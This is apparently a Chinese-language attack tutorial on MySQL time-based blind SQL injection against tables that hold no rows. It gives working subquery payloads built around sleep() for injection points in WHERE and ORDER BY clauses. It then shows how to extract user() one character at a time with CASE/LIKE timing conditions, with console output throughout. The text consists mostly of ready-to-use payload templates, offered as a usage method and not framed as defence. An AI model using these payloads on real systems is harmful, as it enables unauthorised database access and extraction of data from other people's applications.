0x00 概要

有的时候,你发现注入了

但是因为这个注入点的数据表没有数据 / 前面加了where条件导致返回的数据为空

而无法注入,那么这个时候这个方法就可以 构造子查询 来进行延迟注入

0x01 测试数据

  1. mysql> select user();
  2. +----------------+
  3. | user() |
  4. +----------------+
  5. | root@localhost |
  6. +----------------+
  7. 1 row in set (0.00 sec)

例如测试表:tttt 没有数据

  1. mysql> select * from tttt;
  2. +----+
  3. | id |
  4. +----+
  5. | |
  6. +----+
  7. Empty set (0.00 sec)

0x02 普通注入测试

  1. # 可以发现数据并没有发生延迟,因为数据表没有数据
  2. mysql> select * from tttt where id=1 or sleep(5);
  3. Empty set (0.00 sec)
  4. mysql> select * from tttt order by sleep(5);
  5. Empty set (0.00 sec)

0x03 测试-构造子查询进行注入

  1. # 例如注入点发生在 where 处
  2. # 即使 tttt 表没有数据也成功延迟了
  3. mysql> select * from tttt where id=1 and (select 1 from (select sleep(5))x);
  4. Empty set (5.00 sec)
  1. # 例如注入点发生在 order by 处
  2. # 即使 tttt 表没有数据也成功延迟了
  3. mysql> select * from tttt order by id-(select 1 from (select sleep(5))x);
  4. Empty set (5.00 sec)

0x04 注入点 order by 处构造子查询延迟注入出 user()

user() = root@localhost

使用方式:select from tttt ORDER BY id-(select 1 from (select case when (*payload like ‘r%’) then 1 else sleep(2) end)x);

  1. # 对的情况
  2. # 页面会很快的返回数据
  3. # 说明 user() 第1-4位字符为 root
  4. mysql> select * from tttt ORDER BY id-(select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);
  5. Empty set (0.00 sec)
  1. # 错误的情况
  2. # 页面会延迟2秒
  3. mysql> select * from tttt ORDER BY id-(select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);
  4. Empty set (2.00 sec)

0x05 注入点 where 处构造子查询延迟注入出 user()


user() = root@localhost

使用方式:select from tttt WHERE id=1 and (select 1 from (select case when (*payload like ‘r%’) then 1 else sleep(2) end)x);

  1. # 对的情况
  2. # 页面会很快的返回数据
  3. # 说明 user() 第1-4位字符为 root
  4. mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);
  5. Empty set (0.00 sec)
  1. # 错误的情况
  2. # 页面会延迟2秒
  3. mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);
  4. Empty set (2.00 sec)